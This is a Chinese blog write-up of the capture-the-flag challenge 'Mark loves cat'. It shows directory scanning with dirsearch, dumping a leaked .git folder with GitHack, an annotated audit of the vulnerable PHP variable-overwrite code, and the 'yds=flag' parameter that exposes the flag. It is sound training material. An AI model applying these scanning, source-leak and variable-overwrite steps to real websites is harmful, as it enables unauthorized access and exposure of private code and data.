【DASBOOK】Mark loves cat


一、工具下载

克隆dirsearch仓库:

git clone https://github.com/maurosoria/dirsearch.git

在这里插入图片描述
下载 githack工具

git clone https://github.com/lijiejie/GitHack.git

在这里插入图片描述

二、Mark loves cat

在这里插入图片描述
在这里插入图片描述
用dirsearch扫描目录,看看有没有信息泄露

python dirsearch.py  -u  "目标URL" 

在这里插入图片描述
缺少依赖,那咱们先手动安装依赖

dirsearch 使用 requirements.txt 文件来管理依赖项,我们安装其依赖

pip install -r requirements.txt

请添加图片描述

依赖搞定后回来继续扫

python3 dirsearch.py -u "http://d31f8e0b-527e-4f00-88c4-cfdebc82650f.node5.buuoj.cn:81/"

在这里插入图片描述

我淦一堆什么玩意儿…咱们限制一下再进行扫

python dirsearch.py -u "http://d31f8e0b-527e-4f00-88c4-cfdebc82650f.node5.buuoj.cn:81/" -t 1 --timeout=2 -x 400,403,404,500,503,429
  • python .\dirsearch.py:使用 Python 解释器运行 dirsearch.py 脚本。
  • -u http://d31f8e0b-527e-4f00-88c4-cfdebc82650f.node5.buuoj.cn:81/:-u 参数用于指定目标 URL。在这里,目标 URL 是
    http://d31f8e0b-527e-4f00-88c4-cfdebc82650f.node5.buuoj.cn:81/。
  • -t 1:-t 参数用于指定线程数。在这里,-t 1 表示使用单线程运行扫描。
  • –timeout=2:–timeout 参数用于设置每个请求的超时时间(以秒为单位)。在这里,超时时间设置为 2 秒。
  • -x 400,403,404,500,503,429:-x 参数用于排除特定的HTTP状态码。这里,400, 403, 404, 500, 503, 429 状态码的响应将被忽略。

在这里插入图片描述
可以发现存在git泄露。既然泄露了我们可以直接通过githack下泄露的源码

python GitHack.py http://d31f8e0b-527e-4f00-88c4-cfdebc82650f.node5.buuoj.cn/.git/

在这里插入图片描述

把这俩文件瞅一瞅

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

找到了,咱们代码审计一下

<?php

// 包含 'flag.php' 文件的内容
include 'flag.php';

// 定义变量 $yds 并赋值为字符串 "dog"
$yds = "dog";
// 定义变量 $is 并赋值为字符串 "cat"
$is = "cat";
// 定义变量 $handsome 并赋值为字符串 "yds"
$handsome = 'yds';

// 遍历 $_POST 超全局数组
foreach($_POST as $x => $y){
    // 使用变量变量,将 POST 请求参数名作为变量名,参数值作为变量值
    $$x = $y;
}

// 遍历 $_GET 超全局数组
foreach($_GET as $x => $y){
    // 使用变量变量,将 GET 请求参数名作为变量名,并将该变量赋值为另一个变量(变量名是 GET 请求参数值)
    $$x = $$y;
}

// 再次遍历 $_GET 超全局数组
foreach($_GET as $x => $y){
    // 检查是否存在 GET 参数 'flag' 且其值等于当前遍历的键名,并且键名不是 'flag'
    if($_GET['flag'] === $x && $x !== 'flag'){
        // 结束脚本并输出 $handsome 变量的值("yds"exit($handsome);
    }
}

// 如果 $_GET$_POST 中都不存在 'flag' 参数
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    // 结束脚本并输出 $yds 变量的值("dog"exit($yds);
}

// 如果 POST 请求参数 'flag' 的值为 'flag' 或 GET 请求参数 'flag' 的值为 'flag'
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    // 结束脚本并输出 $is 变量的值("cat"exit($is);
}

// 输出 'the flag is: '$flag 变量的值(从 'flag.php' 文件中引入的内容)
echo "the flag is: ".$flag;

我们可以发现当$ _GET[‘flag’] === ‘yds’,并且 $ x(也为 ‘yds’)不等于 ‘flag’,所以条件满足,exit($handsome) 执行,输出 $handsome 的值为 ‘yds’。所以我们可以直接yds=flag

试一试
在这里插入图片描述

查看源码

在这里插入图片描述

小小flag,拿下!


解题感悟

思路不复杂,但是前期工作安装软件有点麻烦。对了,执行脚本的时候需要进入相应的路径下。

  • 18
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值